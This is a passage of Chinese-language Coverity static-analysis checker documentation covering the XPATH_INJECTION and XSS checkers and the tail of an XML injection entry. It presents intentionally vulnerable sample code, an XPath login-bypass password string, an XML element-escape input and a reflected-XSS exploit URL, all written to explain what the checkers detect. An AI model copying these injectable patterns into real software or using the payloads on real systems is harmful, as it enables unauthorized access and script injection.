此示例将 HTTP 请求 `msg` 分析为 XML DOM，并将被污染的输入传递给 XML 分析器。

```
// Parse HTTP request attribute "msg" into XML DOM
 XmlDocument GetXmlDOM(HttpServletRequest Request)
{
 // Defect: Passing tainted input to an XML parser
 var reader = new XmlTextReader(new StringReader(Request["msg"]));
 reader.DtdProcessing = DtdProcessing.Prohibit;
 var doc = new XmlDocument();
 doc.Load(reader);
 return doc;
}
```

#### 4.366.3.2. Java

考虑构造 XML 文档的 Web 服务以与内部服务通信来履行订单。消息看起来可能如下面的示例：

```
<transaction>
<user>joe123</user>
<ship_to>XXX</ship_to>
<item>Laptop computer</item>
<item>Laser printer</item>
</transaction>
```

此类消息可以使用以下 Java 代码生成，该代码允许用户通过 HTTP 请求参数指定 `ship_to` 元素主体。用户不打算控制消息中的其他元素。

```
import javax.servlet.http.HttpServletRequest;
import javax.xml.parsers.DocumentBuilderFactory;
import org.w3c.dom.Document;
import org.xml.sax.InputSource;

Document getXmlMsg(HttpServletRequest req, String user, List<String> items)
throws Exception
{
 // Build XML string
 String msg =
 "<transaction>" +
 "<user>" + user + "</user>" +
 "<ship_to>" + req.getParameter("ship_to") + "</ship_to>" ;
 for(String i : items) {
 msg += "<item>" + i + "</item>" ;
 }
 msg += "</transaction>" ;

 // Parse XML string
 return DocumentBuilderFactory
 .newInstance()
 .newDocumentBuilder()
 .parse(new InputSource(new StringReader(msg)));
}
```

这是安全漏洞，因为用户能够转义 `ship_to` 元素的上下文并指定其他 `item` 元素。攻击示例可能为：

```
> My address </ship_to> <item>Laptop computer</item> <ship_to> My address
```

#### 4.366.3.3. Python

此示例将 HTML 请求的被污染字符串传递给 XML 分析器。

```
import xml.dom
import requests

def example():
 # Pass this tainted string to the XML parser
 datasource = requests.get('example.com').text
 dom = xml.dom.minidom.parseString(datasource)
```

#### 4.366.3.4. Visual Basic

以下代码将来自 HTTP 请求的被污染数据解析为 XML。

```
Dim req as HttpRequest = ...

Dim xml as String =
 "<transaction>" +
 "<user>" + req("user") + "</user>" +
 "<ship_to>" + req("ship_to") + "</ship_to>" +
xml += "</transaction>

' DEFECT here: parsing XML containing a tainted substring
Dim reader as XmlReader = XmlReader.Create(New StringReader(xml))
```

### 4.367. XPATH\_INJECTION

安全检查器

#### 4.367.1. 概述

支持的语言： C、C++、C#、Go、Java、Kotlin、Objective-C、Objective-C++、Swift、Visual Basic

XPATH\_INJECTION 缺陷说明了不受控制的动态（被污染）数据被用作 XPath 查询组成部分的数据流路径。该数据流路径从不可信数据源开始，例如从 HTTP 请求获取输入。在此处开始，缺陷中的各种事件说明了此被污染数据如何流过程序，例如从函数调用的参数到被调用函数的参数。数据流路径的最终部分表示 XPath 查询中使用的被污染字符串。在没有适当验证的情况下，攻击者可以操纵查询的意图，绕过验证检查或泄露敏感信息。

针对 C、C++ 启用

默认禁用： XPATH\_INJECTION 默认禁用。要启用它，可以在 cov-analyze 命令中使用 --enable 选项。

安全检查器启用：要与其他安全检查器一起启用 XPATH\_INJECTION，请在 cov-analyze 命令中使用 --security 选项。

## 针对 C#、Java 和 Visual Basic 启用

默认禁用 : XPATH\_INJECTION 默认禁用。要启用它，可以在 cov-analyze 命令中使用 --enable 选项。

Web 应用程序安全检查器启用 : 要启用 XPATH\_INJECTION 以及其他 Web 应用程序检查器，请使用 --webapp-security 选项。

## 针对 Go、Kotlin 和 Swift 启用

默认启用 : XPATH\_INJECTION 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2, “启用和禁用检查器”。

这是被污染的数据检查器。有关更多信息，请参阅Section 6.8, “被污染的数据概述”。

## 4.367.2. 示例

本部分提供了一个或多个 XPATH\_INJECTION 示例。

### 4.367.2.1. C/C++

下面的示例说明了来自套接字的消息被用作不安全 xpath 的漏洞。xmlFree 和 xmlXPathEval 函数来自 libxml 库。if 语句的第二行发生 XPATH\_INJECTION 缺陷。

```
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>

void xmlFree(void *ptr);
xmlXPathObjectPtr xmlXPathEval(const xmlChar *str, xmlXPathContextPtr ctx);

void bug(int socket, xmlXPathContextPtr ctx) {
 char path[1024];
 if (recv(socket, path, sizeof(path), 0) > 0) {
 xmlXPathObjectPtr freed = xmlXPathEval(path, ctx);
 xmlFree(freed);
 }
}
```

### 4.367.2.2. C#

在下面的 MVC 请求处理程序中，用户可以控制“bookName”参数。通过直接将此参数用作 XPath 查询，攻击者可以更改 XPath 查询的意图，这可能会不适当当地泄露数据或允许对应用程序功能进行未经授权的访问。

```
using System.Web.Mvc;
using System.Xml.XPath;

public class XpathInjectionController : Controller
{
 private XPathDocument libraryXmlDoc;
```

```

public ActionResult GetBookInfo(string bookName)
{
 XPathNavigator libraryNavigator = libraryXmlDoc.CreateNavigator();
 XPathNodeIterator matchingBooks = libraryNavigator.Select(bookName);
 return View(matchingBooks);
}
}

```

#### 4.367.2.3. Go

下面的示例说明了使用 http 请求中的被污染数据作为不安全 xpath 来获取文件路径的漏洞。MustCompile、Parse 和 String 函数来自 xmlpath.v2 库。XPATH\_INJECTION 缺陷发生在 MustCompile 语句。

```

package main

import (
 "gopkg.in/xmlpath.v2"
 "net/http"
 "fmt"
 "os"
)

func xpathInjection(req *http.Request, file *os.File) {
 request := req.URL.Query().Get("tainted")
 path := xmlpath.MustCompile(request)

 root, err := xmlpath.Parse(file)
 if err == nil {
 if value, ok := path.String(root); ok {
 fmt.Println("Found:", value)
 }
 }
}

```

#### 4.367.2.4. Java

在下面的应用场景中，通过用户提供的（被污染的）数据用户名和密码注入了 XPath 查询。使用了 Java javax.xml.xpath API（具有通过 javax.xml.xpath.XPath.evaluate 方法的数据消费者）。被注入的数据被通过第一个参数 expression 传递给了数据池。

```

XPathFactory factory = XPathFactory.newInstance();
XPath xPath = factory.newXPath();
String expression = "/employees/employee[@loginID=' " + username +
 " and @passwd=' " + password + " ']";
nodes = (NodeList) xPath.evaluate(expression, inputSource, XPathConstants.NODESET);

```

如果攻击者的用户名为 admin 并且密码为 ' or @loginID='admin'，则完整的 XPath 查询现在为 / employees/employee[@loginID='admin' and @passwd=' or @loginID='admin']。如果此查询被用于验证用户身份，攻击者可能会被验证为管理员用户。

#### 4.367.2.5. Kotlin

在下面的应用场景中，通过用户提供的（被污染的）数据用户名和密码注入了 XPath 查询。使用了 Java `javax.xml.xpath` API（具有通过 `javax.xml.xpath.XPath.evaluate` 方法的数据消费者）。被注入的数据被通过 `sqlIn` 传递给了数据池。

如果攻击者的用户名为 `admin` 并且密码为 '`or @loginID='admin'`，则完整的 XPath 查询现在为 `/employees/employee[@loginID='admin' and @passwd=' or @loginID='admin']`。如果此查询被用于验证用户身份，攻击者可能会被验证为管理员用户。

```
import java.io.*
import java.sql.*
import javax.xml.xpath.*
import org.xml.sax.InputSource

class XPathInjection {

 @Throws(Throwable::class)
 fun unsafeXPath(sqlIn: SQLInput) {
 /* read unsafe data */
 var baos = ByteArrayOutputStream()
 var unsafeBuf = sqlIn.readBytes()
 baos.write(unsafeBuf)
 var data = baos.toString()

 /* assume username,password as source */
 var tokens = data.split(",")
 var username = tokens[0]
 var password = tokens[1]

 /* build xpath */
 var xPath = XPathFactory.newInstance().newXPath()
 var inputXml = InputSource("TestHelper.xml")
 var query = ("//users/user[name/text()='" + username +
 "' and pass/text()='" + password + "']" + "/secret/text()")
 var secret = xPath.evaluate(query, inputXml, XPathConstants.STRING) as
String //#defect#XPATH_INJECTION
 }
}
```

#### 4.367.2.6. Swift

下面的示例说明了 Swift 中可能的 XPATH\_INJECTION 缺陷。该缺陷发生在 `node.forXPath` 语句

```
import UIKit
import Foundation
import KissXML

func processDocumentNode(node : CXMLElement, store: NSUbiquitousKeyValueStore) {
 let xpath: String = store.string(forKey: "xpath")!
```

```

do {
 var t = try node.forXPath(xpath)
} catch {
 print("Error")
}
}

```

#### 4.367.2.7. Visual Basic

在下面的 MVC 请求处理程序中，用户可以控制“bookName”参数。通过直接将此参数用作 XPath 查询，攻击者可以更改 XPath 查询的意图，这可能会不适当当地泄露数据或允许对应用程序功能进行未经授权的访问。

```

Imports System.Web.Mvc
Imports System.Xml.XPath

Public Class XPathInjectionController
 Inherits Controller

 Private Dim libraryXmlDoc As XPathDocument

 Public Function GetBookInfo(bookName As String) As ActionResult
 Dim libraryNavigator As XPathNavigator = libraryXmlDoc.CreateNavigator()
 Dim matchingBooks As XPathNodeIterator = libraryNavigator.Select(bookName)
 Return View(matchingBooks)
 End Function

End Class

```

#### 4.367.3. 选项

这部分描述了用于 XPATH\_INJECTION 检查器的选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- XPATH\_INJECTION:distrust\_all:<boolean> - [C、C++、Go、Kotlin、Swift] 将此选项设置为 true 等同于将此检查器的所有 trust\_\* 检查器选项设置为 false。默认值为 XPATH\_INJECTION:distrust\_all:false。

如果将 cov-analyze 命令的 --webapp-security-aggressiveness-level 选项设置为 high，则该检查器选项会自动设置为 true。（适用于除 C、C++ 之外的所有语言）

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 high，则该检查器选项会自动设置为 true。（适用于 C、C++）

- XPATH\_INJECTION:trust\_command\_line:<boolean> - [仅限 C、C++、Go、Kotlin、Swift] 将此选项设置为 false 会导致分析将命令行参数视为被污染。默认值为 XPATH\_INJECTION:trust\_command\_line:true。设置此检查器选项会覆盖全局 --trust-command-line 和 --distrust-command-line 命令行选项。

- XPATH\_INJECTION:trust\_console:<boolean> - [仅限 C、C++、Go、Kotlin、Swift]  
将此选项设置为 false 会导致分析将来自控制台的数据视为被污染。默认值为 XPATH\_INJECTION:trust\_console:true。设置此检查器选项会覆盖全局 --trust-console 和 --distrust-console 命令行选项。
- XPATH\_INJECTION:trust\_cookie:<boolean> - [仅限 C、C++、Go、Kotlin、Swift]  
将此选项设置为 false 会导致分析将来自 HTTP cookie 的数据视为被污染。默认值为 XPATH\_INJECTION:trust\_cookie:false。设置此检查器选项会覆盖全局 --trust-cookie 和 --distrust-cookie 命令行选项。
- XPATH\_INJECTION:trust\_database:<boolean> - [仅限 C、C++、Go、Kotlin、Swift]  
将此选项设置为 false 会导致分析将来自数据库的数据视为被污染。默认值为 XPATH\_INJECTION:trust\_database:true。设置此检查器选项会覆盖全局 --trust-database 和 --distrust-database 命令行选项。
- XPATH\_INJECTION:trust\_environment:<boolean> - [仅限 Go、Swift、C、C++]  
将此选项设置为 false 会导致分析将来自环境变量的数据视为被污染。默认值为 XPATH\_INJECTION:trust\_environment:true。设置此检查器选项会覆盖全局 --trust-environment 和 --distrust-environment 命令行选项。
- XPATH\_INJECTION:trust\_filesystem:<boolean> - [仅限 C、C++、Go、Kotlin、Swift]  
将此选项设置为 false 会导致分析将来自文件系统的数据视为被污染。默认值为 XPATH\_INJECTION:trust\_filesystem:true。设置此检查器选项会覆盖全局 --trust-filesystem 和 --distrust-filesystem 命令行选项。
- XPATH\_INJECTION:trust\_http:<boolean> - [仅限 C、C++、Go、Kotlin、Swift]  
将此选项设置为 false 会导致分析将来自 HTTP 请求的数据视为被污染。默认值为 XPATH\_INJECTION:trust\_http:false。设置此检查器选项会覆盖全局 --trust-http 和 --distrust-http 命令行选项。
- XPATH\_INJECTION:trust\_http\_header:<boolean> - [仅限 C、C++、Go、Kotlin、Swift]  
将此选项设置为 false 会导致分析将来自 HTTP 头文件的数据视为被污染。默认值为 XPATH\_INJECTION:trust\_http\_header:false。设置此检查器选项会覆盖全局 --trust-http-header 和 --distrust-http-header 命令行选项。
- XPATH\_INJECTION:trust\_mobile\_other\_app:<boolean> - [仅限 Go、Kotlin、Swift]  
将此 Web 应用程序安全选项设置为 true 会导致分析信任以下数据：从不需要获取权限即可与当前应用程序组件通信的任何移动应用程序收到的数据。默认值为 XPATH\_INJECTION:trust\_mobile\_other\_app:true。设置此检查器选项会覆盖全局 --trust-mobile-other-app 和 --distrust-mobile-other-app 命令行选项。
- XPATH\_INJECTION:trust\_mobile\_other\_privileged\_app:<boolean> - [仅限 Go、Swift]  
将此 Web 应用程序安全选项设置为 false 会导致分析将以下数据视为被污染：从需要获取权限才可与当前应用程序组件通信的任何移动应用程序收到的数据。默认值为 XPATH\_INJECTION:trust\_mobile\_other\_privileged\_app:true。设置此检查器选项会覆盖全局 --trust-mobile-other-privileged-app 和 --distrust-mobile-other-privileged-app 命令行选项。
- XPATH\_INJECTION:trust\_mobile\_same\_app:<boolean> - [仅限 Go、Kotlin、Swift]  
将此 Web 应用程序安全选项设置为 false 会导致分析将从同一移动应用程序收到的数据视为被污染。默认值为

XPATH\_INJECTION:trust\_mobile\_same\_app:true。设置此检查器选项会覆盖全局 --trust-mobile-same-app 和 --distrust-mobile-same-app 命令行选项。

- XPATH\_INJECTION:trust\_mobile\_user\_input:<boolean> - [仅限 Go、Kotlin、Swift] 将此 Web 应用程序安全选项设置为 true 会导致分析将从用户输入获取的数据视为未被污染。默认值为 XPATH\_INJECTION:trust\_mobile\_user\_input:false。设置此检查器选项会覆盖全局 --trust-mobile-user-input 和 --distrust-mobile-user-input 命令行选项。
- XPATH\_INJECTION:trust\_network:<boolean> - [仅限 C、C++、Go、Kotlin、Swift] 将此选项设置为 false 会导致分析将来自网络的数据视为被污染。默认值为 XPATH\_INJECTION:trust\_network:false。设置此检查器选项会覆盖全局 --trust-network 和 --distrust-network 命令行选项。
- XPATH\_INJECTION:trust\_rpc:<boolean> - [仅限 C、C++、Go、Kotlin、Swift] 将此选项设置为 false 会导致分析将来自 RPC 请求的数据视为被污染。默认值为 XPATH\_INJECTION:trust\_rpc:false。设置此检查器选项会覆盖全局 --trust-rpc 和 --distrust-rpc 命令行选项。
- XPATH\_INJECTION:trust\_system\_properties:<boolean> - [仅限 C、C++、Go、Kotlin、Swift] 将此选项设置为 false 会导致分析将来自系统属性的数据视为被污染。默认值为 XPATH\_INJECTION:trust\_system\_properties:true。设置此检查器选项会覆盖全局 --trust-system-properties 和 --distrust-system-properties 命令行选项。

#### 4.367.4. 模型和注解

使用 cov-make-library，您可以使用以下 Coverity Analysis 原语为 XPATH\_INJECTION 创建自定义模型。

以下模型表明 createExpressionInDOMDocument() 对于参数 expr 是污染数据消费者（类型为 XPATH）：

```
void createExpressionInDOMDocument(const char *expr)
{ __coverity_taint_sink__(expr, XPATH); }
```

您可以使用 \_\_coverity\_mark\_pointee\_as\_tainted\_\_ 建模原语为污染源建模。例如，以下模型表明，packet\_get\_string() 从网络返回了被污染的字符串：

```
void *packet_get_string() {
 void *ret;
 __coverity_mark_pointee_as_tainted__(ret, TAINT_TYPE_NETWORK);
 return ret;
}
```

下面的模型表明，当 s 参数无效时（因此不应再将其视为被污染），custom\_sanitize() 会返回 true。如果 s 参数无效，custom\_sanitize() 会返回 false，并且分析会继续将 s 记录为被污染：

```
bool custom_sanitize(const char *s) {
 bool ok_string;
 if (ok_string == true) {
 __coverity_mark_pointee_as_sanitized__(s, GENERIC);
 }
 return true;
}
```

```
 }
 return false;
}
```

作为库模型的替代，您还可以在紧接在目标函数之前的源代码注释中使用以下函数注解标记：

- `+taint_sanitize`：指明函数净化字符串参数。例如，下面的代码指明 `custom_sanitize()` 净化了其 `s` 字符串参数：

```
// coverity[+taint_sanitize : arg-*0]
void custom_sanitize(char* s) {...}
```

- `+taint_source`（没有参数）：指明函数返回被污染的字符串数据。例如，下面的代码指明 `packet_get_string()` 返回了被污染的字符串值：

```
// coverity[+taint_source]
char* packet_get_string() {...}
```

- `+taint_source`（含有参数）：指明函数污染指定字符串参数的内容。例如，下面的代码指明 `custom_string_read()` 污染了其 `s` 参数的内容：

```
// coverity[+taint_source : arg-0]
void custom_string_read(char* s, int size, FILE* stream) {...}
```



#### Note

`taint_source` 函数注解与以下这些检查器一起运行：

FORMAT\_STRING\_INJECTION、HEADER\_INJECTION、OS\_CMD\_INJECTION、PATH\_MANIPULATION、SCALAR\_INJECTION 和 XPATH\_INJECTION。

您可以使用以下函数注解标记忽略函数模型：

- `-taint_sanitize`：指明函数不净化字符串参数。例如，下面的代码指明 `custom_sanitize()` 不净化其 `s` 字符串参数：

```
// coverity[-taint_sanitize : arg-*0]
void custom_sanitize(char* s) {...}
```

- `-taint_source`（没有参数）：指明函数不返回被污染的字符串数据。例如，下面的代码指明 `packet_get_string()` 不返回被污染的字符串值：

```
// coverity[-taint_source]
char* packet_get_string() {...}
```

- `-taint_source`（含有参数）：指明函数不污染指定字符串参数的内容。例如，下面的代码指明 `custom_string_read()` 不污染其 `s` 参数的内容：

```
// coverity[-taint_source : arg-0]
void custom_string_read(char* s, int size, FILE* stream) {...}
```

#### 4.367.5. 事件

本部分描述了 XPATH\_INJECTION 检查器生成的一个或多个事件。

- sink - ( 主要事件 ) 识别被污染的数据到达数据消费者的位置。
- remediation - 提供关于修复安全漏洞的信息。

##### 数据流事件

- member\_init - 使用被污染的数据创建类实例同时用被污染的数据初始化其成员。
- object\_construction - 使用被污染的数据创建类实例。
- subclass - 创建了类实例以用作超类。
- taint\_alias - 为被污染的对象设置了别名。
- taint\_path - 将被污染的值赋值给本地变量。
- taint\_path\_arg - 将被污染的值作为方法的参数。
- taint\_path\_attr - [仅限 Java] 将被污染的值存储为包含页面、请求、会话或应用程序范围的 Web 应用程序属性。
- taint\_path\_call - 此方法调用返回被污染的值。
- taint\_path\_field - 将被污染的值赋值给一个字段。
- taint\_path\_map\_read - 从映射中读取被污染的值。
- taint\_path\_map\_write - 将被污染的值写入映射。
- taint\_path\_param - 调用方将被污染的参数作为参数传递给此方法。
- taint\_path\_return - 当前方法返回被污染的值。
- tainted\_source - 被污染值所起源的方法。

#### 4.368. XSS

##### 安全检查器

###### 4.368.1. 概述

支持的语言：. C#、Go、Java、JavaScript、PHP、Python、Ruby、Visual Basic

XSS 针对易受跨站点脚本攻击的代码报告缺陷。此类代码使用被污染的字符串（即攻击者可以控制的字符串），在未对其进行充分净化（筛选或转义）的情况下构造 HTML 输出。HTML 输出中允许此类被污染的数据会产生安全漏洞，Web 应用程序的某个用户（攻击者）可以利用该漏洞注入另一个用户（受害者）通过浏览器执行的任意 JavaScript 代码。

请注意，XSS 分析会将 JSP 文件中的所有  `${param.x}`  变量视为被污染。在版本 7.0.3.s2 之前，分析会抑制针对在 JSP 动态包含（`<jsp:include>` / `<jsp:param>` 结构）中设置的参数所报告的缺陷，但这种做法会导致该检查器漏报某些真正的缺陷。要恢复此行为，请使用 `--allow-jsp-include-param-blacklist` 分析选项。

有关跨站点脚本攻击的风险和后果的更多信息，请参阅 Chapter 6。有关此检查器发现的潜在安全漏洞的详细信息，请参阅 Section 6.1.4.2，“跨站点脚本 (XSS)”。

默认禁用：xss 默认对 C#、Java、JavaScript、PHP、Python 和 Visual Basic 禁用。要启用它，您可以在 cov-analyze 命令中使用 `--enable` 选项。

默认启用：xss 默认对 Go 和 Ruby 启用。

Web 应用程序安全检查器启用：要启用 xss 以及其他 Web 应用程序检查器，请使用 `--webapp-security` 选项。

Android 安全检查器启用。要与其他 Java Android 安全检查器一起启用 xss，请在 cov-analyze 命令中使用 `--android-security` 选项。

这是被污染的数据检查器。有关更多信息，请参阅“Section 6.8，“被污染的数据概述””。

#### 4.368.2. 缺陷剖析

xss 缺陷说明了不可信（被污染）数据可用于注入 JavaScript 代码的数据流路径。该路径从不可信数据源开始，例如从 HTTP 请求获取输入。在此处开始，缺陷中的各种事件说明了此被污染数据如何在程序中流动，例如从函数调用的参数到被调用函数的参数。如果没有恰当的验证，数据可能包含来自攻击者的 JavaScript 代码（在使用该数据作为将呈现在用户浏览器中的 HTML 输出的函数中使用）。

#### 4.368.3. 示例

本部分提供了一个或多个 xss 示例。

##### 4.368.3.1. C#、Java 和 Visual Basic

有关 C#、Java 和 Visual Basic 示例，请参阅 Section 6.1.4.2，“跨站点脚本 (XSS)”和 Section 6.6.2，“XSS 修复示例”。

##### 4.368.3.2. Go

以下 Go 代码使用来自用户请求中的字符串值来创建 HTTP 响应，因此容易受到 XSS 攻击。针对 `w.Write` 调用返回一个 xss 缺陷。

```
package main

import (
 "net/http"
)

func test(w http.ResponseWriter, r *http.Request) {
 queryValues := r.URL.Query()
```

```
w.Write([]byte(queryValues.Get("name")))) // XSS defect
}
```

#### 4.368.3.3. JavaScript

下面的代码示例说明了使用 Express 框架的易受攻击 Node.js Web 应用程序。

```
var express = require('express');
var app = express();

app.get('/', function(req, res, next) {
 const name = req.query.n;
 res.send("<!--!DOCTYPE html> <html><head><title>Say Hello</title></head>" +
 "<body>Hello, " +
 name +
 "</body></html>");
});

app.listen(3000, function() {
 console.log("Listening...");
});
```

利用示例：

```
http://127.0.0.1:3000/?n=%3Cscript%3Ealert%281%29%3C/script%3E;
```

#### 4.368.3.4. PHP

以下 PHP 代码使用请求 URL 中的字符串来创建 HTML，因此容易受到 XSS 攻击。

```
$name = $_GET['name'];
echo "<p>hello, $name</p>";
```

#### 4.368.3.5. Python

以下 Python 代码（使用 Flask）使用请求 URL 中的字符串来创建 HTML，因此容易受到反射型 XSS 攻击。

```
from flask import Flask, make_response
app = Flask(__name__)
@app.route('/findfile/<path:filename>')
def findfile(filename):
 return make_response('<html>File is ' + filename + '</html>')
```

#### 4.368.3.6. Ruby

下面的示例展示了被标记为“HTML safe”，然后以 ERB 模板输出的查询参数。因为值被标记为“HTML safe”，HTML 实体不会进行转义，因此可能易受 XSS 攻击。

```
<%= params[:query].html_safe %>
```

#### 4.368.4. 选项

本部分描述了一个或多个 `xss` 选项。

您可以设置特定检查器选项值，方法是使用 `cov-analyze` 命令的 `--checker-option` 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- `XSS:distrust_all:<boolean>` - [仅限 Go、JavaScript、PHP 和 Python] 将此选项设置为 `true` 等同于将此检查器的所有 `trust_*` 检查器选项设置为 `false`。默认值为 `XSS:distrust_all:false`。

如果将 `cov-analyze` 命令的 `--webapp-security-aggressiveness-level` 选项设置为 `high`，则该检查器选项会自动设置为 `true`。

- `XSS:trust_mobile_other_app:<boolean>` - [仅限 Java] 将此选项设置为 `true` 会导致分析信任以下数据：从不需要获取权限即可与当前应用程序组件通信的任何移动应用程序收到的数据。默认值为 `XSS:trust_mobile_other_app:false`。设置此检查器选项会覆盖全局 `--trust-mobile-other-app` 和 `--distrust-mobile-other-app` 命令行选项。
- `XSS:trust_mobile_same_app:<boolean>` - [仅限 Java] 将此选项设置为 `false` 会导致分析将从同一移动应用程序收到的数据视为被污染。默认值为 `XSS:trust_mobile_same_app:true`。设置此检查器选项会覆盖全局 `--trust-mobile-same-app` 和 `--distrust-mobile-same-app` 命令行选项。
- `XSS:trust_mobile_user_input:<boolean>` - [仅限 Java] 将此选项设置为 `true` 会导致分析将从用户输入获取的数据视为未被污染。默认值为 `XSS:trust_mobile_user_input:false`。设置此检查器选项会覆盖全局 `--trust-mobile-user-input` 和 `--distrust-mobile-user-input` 命令行选项。
- `XSS:trust_mobile_other_privileged_app:<boolean>` - [仅限 Java] 将此选项设置为 `false` 会导致分析将以下数据视为被污染：从需要获取权限才能与当前应用程序组件通信的任何移动应用程序收到的数据。默认值为 `XSS:trust_mobile_other_privileged_app:true`。设置此检查器选项会覆盖全局 `--trust-mobile-other-privileged-app` 和 `--distrust-mobile-other-privileged-app` 命令行选项。
- `XSS:trust_command_line:<boolean>` - [所有语言] 将此选项设置为 `false` 会导致分析将命令行参数视为被污染。默认值为 `XSS:trust_command_line:true`。设置此检查器选项会覆盖全局 `--trust-command-line` 和 `--distrust-command-line` 命令行选项。
- `XSS:trust_console:<boolean>` - [所有语言] 将此 Web 应用程序安全选项设置为 `false` 会导致分析将来自控制台的数据视为被污染。默认值为 `XSS:trust_console:true`。设置此检查器选项会覆盖全局 `--trust-console` 和 `--distrust-console` 命令行选项。
- `XSS:trust_cookie:<boolean>` - [所有语言] 将此 Web 应用程序安全选项设置为 `false` 会导致分析将来自 HTTP Cookie 的数据视为被污染。默认值为 `XSS:trust_cookie:false`。设置此检查器选项会覆盖全局 `--trust-cookie` 和 `--distrust-cookie` 命令行选项。
- `XSS:trust_database:<boolean>` - [所有语言] 将此 Web 应用程序安全选项设置为 `false` 会导致分析将来自数据库的数据视为被污染。默认值为 `XSS:trust_database:true`。设置此检查器选项会覆盖全局 `--trust-database` 和 `--distrust-database` 命令行选项。

- `XSS:trust_environment:<boolean>` - [所有语言] 将此 Web 应用程序安全选项设置为 `false` 会导致分析将来自环境变量的数据视为被污染。默认值为 `XSS:trust_environment:true`。设置此检查器选项会覆盖全局 `--trust-environment` 和 `--distrust-environment` 命令行选项。
- `XSS:trust_filesystem:<boolean>` - [所有语言] 将此 Web 应用程序安全选项设置为 `false` 会导致分析将来自文件系统的数据视为被污染。默认值为 `XSS:trust_filesystem:true`。设置此检查器选项会覆盖全局 `--trust-filesystem` 和 `--distrust-filesystem` 命令行选项。
- `XSS:trust_http:<boolean>` - [所有语言] 将此 Web 应用程序安全选项设置为 `false` 会导致分析将来自 HTTP 请求的数据视为被污染。默认值为 `XSS:trust_http:false`。设置此检查器选项会覆盖全局 `--trust-http` 和 `--distrust-http` 命令行选项。
- `XSS:trust_http_header:<boolean>` - [所有语言] 将此 Web 应用程序安全选项设置为 `false` 会导致分析将来自 HTTP 头文件的数据视为被污染。默认值为 `XSS:trust_http_header:true`。设置此检查器选项会覆盖全局 `--trust-http-header` 和 `--distrust-http-header` 命令行选项。
- `XSS:trust_network:<boolean>` - [所有语言] 将此 Web 应用程序安全选项设置为 `false` 会导致分析将来自网络的数据视为被污染。默认值为 `XSS:trust_network:false`。设置此检查器选项会覆盖全局 `--trust-network` 和 `--distrust-network` 命令行选项。
- `XSS:trust_rpc:<boolean>` - [所有语言] 将此 Web 应用程序安全选项设置为 `false` 会导致分析将来自 RPC 请求的数据视为被污染。默认值为 `XSS:trust_rpc:true`。设置此检查器选项会覆盖全局 `--trust-rpc` 和 `--distrust-rpc` 命令行选项。
- `XSS:trust_system_properties:<boolean>` - [所有语言] 将此 Web 应用程序安全选项设置为 `false` 会导致分析将来自系统属性的数据视为被污染。默认值为 `XSS:trust_system_properties:true`。设置此检查器选项会覆盖全局 `--trust-system-properties` 和 `--distrust-system-properties` 命令行选项。

请参阅《Coverity 命令说明书》中 `cov-analyze` 的 相应命令行选项[¶](#)。

#### 4.368.5. 模型和注解

##### 4.368.5.1. C#、Java 和 Visual Basic

模型和注解可以在以下情况下改进通过此检查器执行的分析：

- 如果分析由于未将某些数据视为被污染而漏报了缺陷，请参阅对 `Tainted` 注解的讨论（对于 C#，请参考 Section 5.2.2.1，“`和` 属性”；对于 Java，请参考 `@Tainted` 和 `@NotTainted` 注解）。
- 此外，有关将方法返回值、参数和字段标记为被污染的说明，请参阅 Section 5.2.1.2，“为不可信（被污染的）数据源建模”（对于 C# 和 Visual Basic）或 Section 5.4.1.3，“为不可信（被污染的）数据源建模”（对于 Java）。
- 如果分析由于它将字段视为被污染而发生误报，并且您认为被污染的数据不会流入该字段，请参考`[NotTainted]` / `<NotTainted()>` 属性（对于 C# 和 Visual Basic）或（对于 Java）。

另请参阅 Section 5.4.1.5，“添加字段被污染或未被污染的断言”。有关一般模型和注解的更多信息，请参考 Section 5.2，“C# 或 Visual Basic 中的模型和注解”或 Section 5.4，“Java 模型和注解”。

#### 4.368.5.2. Go

在 Go 中，原语在程序包 `synopsys.com/coverity-primitives/primitives` 中定义，并使用 `Interface` 作为参数；例如：

```
import . "synopsys.com/coverity-primitives/primitives"

func injecting_into_script_function(data interface{}) {
 XSSSink(data);
}
```

如果 `injecting_into_script_function()` 的参数来自不可信来源，`XSSSink()` 原语将指示 XSS 报告缺陷。

#### 4.368.6. 符号名称

在 UI 中，关于 C#、Java 和 Visual Basic 缺陷的 XSS 报告 (CID) 对 HTML 上下文和转义器类型使用符号名称，例如：

```
At (2):
Passing the tainted data through
Escapers.escapeAttrdq(java.lang.String), which was recognized
as an escaper of kind HTML_ENTITY.
At (3):
Passing the tainted data through
Escapers.escapeJssq(java.lang.String), which was recognized
as an escaper of kind JS_STRING.
CID 18484: Other violation (XSS)
At (4):
Printing "Escapers.escapeJssq(Escapers.escapeAttrdq(tainted))"
to an HTML page allows cross-site scripting, because it was not
properly sanitized for the nested contexts
HTML_ATTR_VAL_DQ,
JS_STRING_SQ.
```

Table 4.8，“HTML 上下文”定义可以显示在缺陷报告中的 HTML 上下文的符号名称。有关这些 HTML 上下文的示例以及关于如何正确转义每一个上下文的讨论，请参阅 Section 6.4，“XSS 上下文”。

Table 4.8. HTML 上下文

HTML 上下文	说明
<code>HTML_ATTR_NAME</code>	HTML 属性名称
<code>HTML_ATTR_VAL_DQ</code>	HTML 双引号引起的属性
<code>HTML_ATTR_VAL_SQ</code>	HTML 单引号引起的属性
<code>HTML_ATTR_VAL_UNQ</code>	HTML 无引号的属性
<code>HTML_CDATA</code>	HTML CDATA 块
<code>HTML_COMMENT</code>	HTML 注释

HTML 上下文	说明
HTML_PCDATA	HTML PCDATA 块
HTML_PLAINTEXT	HTML 纯文本块
HTML_RAWTEXT	HTML 原始文本块
HTML_RCDATA	HTML RCDATA 块
HTML_SCRIPT_DATA	HTML 脚本块
JS	JavaScript 代码
JS_BLOCK_COMMENT	JavaScript 多行注释
JS_LINE_COMMENT	JavaScript 单行注释
JS_REGEX_LITERAL	JavaScript 正则表达式
JS_STRING_DQ	JavaScript 双引号引起的字符串
JS_STRING_SQ	JavaScript 单引号引起的字符串
CSS	层叠样式表
CSS_COMMENT	CSS 注释
CSS_STRING_DQ	CSS 双引号引起的字符串
CSS_STRING_SQ	CSS 单引号引起的字符串
CSS_URI_DQ	CSS 双引号引起的 URI
CSS_URI_SQ	CSS 单引号引起的 URI
CSS_URI_UNQ	CSS 无引号的 URI
HTML_TAG_NAME	HTML 标记名称

